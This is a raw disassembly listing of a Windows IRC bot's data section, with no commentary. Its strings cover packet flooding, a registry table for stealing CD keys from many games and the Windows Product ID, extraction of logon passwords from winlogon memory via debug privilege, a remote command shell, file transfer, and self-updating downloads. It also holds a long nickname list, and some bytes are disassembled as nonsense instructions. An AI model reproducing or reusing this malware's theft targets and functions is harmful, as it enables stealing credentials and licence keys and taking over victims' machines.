20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 10h db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_436134 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415134+35o dword_436148 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415134+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o align 10h dword_436180 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_41524C:loc_415281o dword_436194 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_41524C+20o dword_4361A8 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415369o dd 6574656Ch, 0 dword_4361C4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:004152CCo dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BC+11o aWindow db 'Window',0 ; DATA XREF: sub_4155F7+23o ; sub_4157F0+26o align 10h dd 80000001h off_4361F4 dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr ; sub_415A2F+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_436200 dd 2 dup(0) ; DATA XREF: sub_415A2F+26o dd 80000001h, 437384h, 437378h, 437368h, 2 dup(0) dd 80000001h, 437348h, 437344h, 437330h, 2 dup(0) dd 80000001h, 43730Ch, 437344h, 437300h, 2 dup(0) dd 80000001h, 4372DCh, 4372D4h, 4372C0h, 2 dup(0) dd 80000001h, 4372ACh, 43729Ch, 437280h, 2 dup(0) dd 80000001h, 43723Ch, 4373C4h, 437228h, 2 dup(0) dd 80000002h, 4371FCh, 4371F0h, 4371D0h, 2 dup(0) dd 80000002h, 43719Ch, 4373C4h, 437184h, 2 dup(0) dd 80000002h, 437150h, 4373C4h, 437138h, 2 dup(0) dd 80000002h, 437120h, 4373C4h, 437108h, 2 dup(0) dd 80000002h, 4370CCh, 43D128h, 4370BCh, 2 dup(0) dd 80000002h, 437084h, 43D128h, 437070h, 2 dup(0) dd 80000002h, 437024h, 43D128h, 437004h, 2 dup(0) dd 80000002h, 436FB4h, 43D128h, 436F88h, 2 dup(0) dd 80000002h, 436F4Ch, 43D128h, 436F38h, 2 dup(0) dd 80000002h, 436F00h, 43D128h, 436EF0h, 2 dup(0) dd 80000002h, 436EA0h, 43D128h, 436E74h, 2 dup(0) dd 80000002h, 436E34h, 43D128h, 436E18h, 2 dup(0) dd 80000002h, 436DE8h, 43D128h, 436DC8h, 2 dup(0) dd 80000002h, 436D8Ch, 43D128h, 436D78h, 2 dup(0) dd 80000002h, 436D30h, 43D128h, 436D10h, 2 dup(0) dd 80000002h, 436CBCh, 43D128h, 436C8Ch, 2 dup(0) dd 80000002h, 436C3Ch, 43D128h, 436C10h, 2 dup(0) dd 80000002h, 436BD0h, 436BC8h, 436BA8h, 2 dup(0) dd 80000002h, 436B64h, 43D128h, 436B48h, 2 dup(0) dd 80000002h, 436AFCh, 43D128h, 436AD8h, 2 dup(0) dd 80000002h, 436AA4h, 43D128h, 436A98h, 2 dup(0) dd 80000002h, 436A64h, 43D128h, 436A58h, 2 dup(0) dd 80000002h, 436A24h, 43D128h, 436A18h, 2 dup(0) dd 80000002h, 4369E4h, 43D128h, 4369D8h, 2 dup(0) dd 80000002h, 43699Ch, 43D128h, 436988h, 2 dup(0) dd 80000002h, 43694Ch, 43D128h, 436938h, 2 dup(0) dd 80000002h, 436908h, 4373C4h, 4368ECh, 2 dup(0) dd 80000002h, 4368CCh, 4368C4h, 4368A0h, 2 dup(0) dd 80000002h, 436884h, 4368C4h, 436864h, 2 dup(0) dd 80000002h, 436844h, 4368C4h, 436820h, 2 dup(0) dd 80000002h, 436808h, 4368C4h, 436804h, 2 dup(0) dd 80000002h, 4367E8h, 4367D8h, 4367D0h, 2 dup(0) dd 80000002h, 43679Ch, 42C218h, 436784h, 2 dup(0) dd 80000002h, 436748h, 43673Ch, 436714h, 436704h, 4366F0h dd 80000002h, 4366CCh, 4366C0h, 4366ACh, 43669Ch, 436694h dd 80000002h, 4366CCh, 4366C0h, 436668h, 43669Ch, 436660h dd 80000002h, 4366CCh, 4366C0h, 436630h, 43669Ch, 436628h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset word_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 10h aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 10h db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 10h aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 10h aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 10h db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 10h db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 10h aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 10h aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 10h db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 10h db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 10h aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 10h aProductid db 'ProductId',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 10h aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 10h aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004361FCo aCdkey db 'CDKey',0 ; DATA XREF: ___:004361F8o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361F4o align 4 asc_4373F4: ; DATA XREF: sub_415A2F+E9o ; sub_415A2F+F4o unicode 0, <=>,0 dword_4373F8 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_415A2F+2Bo dd 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437474 db 2Dh ; - ; DATA XREF: ___:00415F17o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 dword_437498 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:0041617Co ; ___:00416312o dd 726F72h unk_4374B0 db 2Dh ; - ; DATA XREF: ___:00416114o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_4374DC db 2Dh ; - ; DATA XREF: ___:0041601Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 10h dword_437500 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00415FE5o dd 74756Fh dword_437518 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:00415F84o dd 169h unk_437530 db 2Dh ; - ; DATA XREF: ___:00415F41o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 10h unk_437550 db 2Dh ; - ; DATA XREF: ___:00415E9Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_437574 db 2Dh ; - ; DATA XREF: ___:00415E5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 4 unk_437598 db 2Dh ; - ; DATA XREF: ___:0041638Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_4375C4 db 2Dh ; - ; DATA XREF: ___:00416287o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_4375E4 db 2Dh ; - ; DATA XREF: ___:00416267o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 10h aAB db 'a+b',0 ; DATA XREF: ___:00416253o unk_437614 db 2Dh ; - ; DATA XREF: ___:0041623Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_437644 db 2Dh ; - ; DATA XREF: ___:0041688Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_437670 db 2Dh ; - ; DATA XREF: ___:0041687Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_4376A4 db 2Dh ; - ; DATA XREF: ___:004167C2o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 dword_4376E8 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416751o dd 25206465h, 73h unk_437704 db 2Dh ; - ; DATA XREF: ___:004166DAo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_43773C db 2Dh ; - ; DATA XREF: ___:0041665Bo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_437764 db 2Dh ; - ; DATA XREF: ___:004165D1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 10h unk_437790 db 2Dh ; - ; DATA XREF: ___:0041658Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 4 unk_4377B8 db 2Dh ; - ; DATA XREF: ___:0041657Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 10h unk_4377E0 db 2Dh ; - ; DATA XREF: ___:00416470o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A1:loc_4169E4o ; sub_418EF6+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A1:loc_4169DEo aDisk db 'Disk',0 ; DATA XREF: sub_4169A1:loc_4169D8o align 10h aNetwork db 'Network',0 ; DATA XREF: sub_4169A1:loc_4169D2o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A1:loc_4169CCo align 10h off_437830 dd offset word_4D4152 ; DATA XREF: sub_4169A1:loc_4169C6o word_437834 dw 3Fh ; DATA XREF: sub_4169A1+1Fo ; sub_41AA42:loc_41AB44r align 4 aFailed db 'failed',0 ; DATA XREF: sub_416A32:loc_416B10o ; sub_416B56+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_416A32+6Co align 4 unk_437848 db 2Dh ; - ; DATA XREF: sub_416B56+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_437884 db 2Dh ; - ; DATA XREF: sub_416B56+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_1 db 'A:\',0 ; DATA XREF: sub_416C28:loc_416C6Do db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_437930 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417093o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_437964 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417066o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_437990 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_41705Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 4 unk_4379C8 db 2Dh ; - ; DATA XREF: sub_416F1A+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_437A24 dd offset byte_530055 ; DATA XREF: sub_416F1A+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004D dd offset loc_4E0047+2 dd 0 off_437A3C dd offset byte_530055 ; DATA XREF: sub_416F1A+CEo dd offset byte_520045 dd offset loc_41004D+1 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1A+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o ; sub_416F1A+161o ... align 10h unk_437B00 db 2Dh ; - ; DATA XREF: sub_416F1A+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 10h aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170EC+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170EC+123o align 10h aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170EC+AFo align 4 dword_437B4C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417552+70o ; sub_4175E9+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_437B9C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4175E9+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_437BF0 dd offset aQ ; DATA XREF: sub_417ADD+5Cr ; "q" ; --------------------------------------------------------------------------- mov al, ds:38004387h lodsb inc edx add [ebx+eax*8], al inc edx add [eax-3Eh], bh inc edx add [edi+eax*4-5587FFBDh], bl inc edx add ah, dl retn 42h ; --------------------------------------------------------------------------- push esp stosb inc edx add ah, dl lodsb inc edx add ah, bl retn 42h ; --------------------------------------------------------------------------- dd offset aD ; "d" dd offset dword_438798 dd offset dword_438794 dd offset dword_438790 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_43878C dd offset dword_438788 dd offset dword_438784 dd offset aC ; "c" dd offset aV ; "v" dd offset dword_438780 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_43877C dd offset dword_438778 dd offset dword_438774 dd offset dword_438770 dd offset dword_43876C dd offset word_438768 dd offset dword_438764 dd offset aI_0 ; "I" dd offset dword_438760 dd offset dword_43875C dd offset aA_0 ; "A" dd offset dword_438758 dd offset dword_438754 dd offset dword_438750 dd offset dword_43874C dd offset dword_438748 dd offset dword_438744 dd offset dword_438740 dd offset dword_43873C dd offset dword_438738 dd offset dword_438734 dd offset dword_438730 dd offset dword_43872C dd offset dword_438728 dd offset word_438724 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_4384BC dd offset off_4384B8 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd 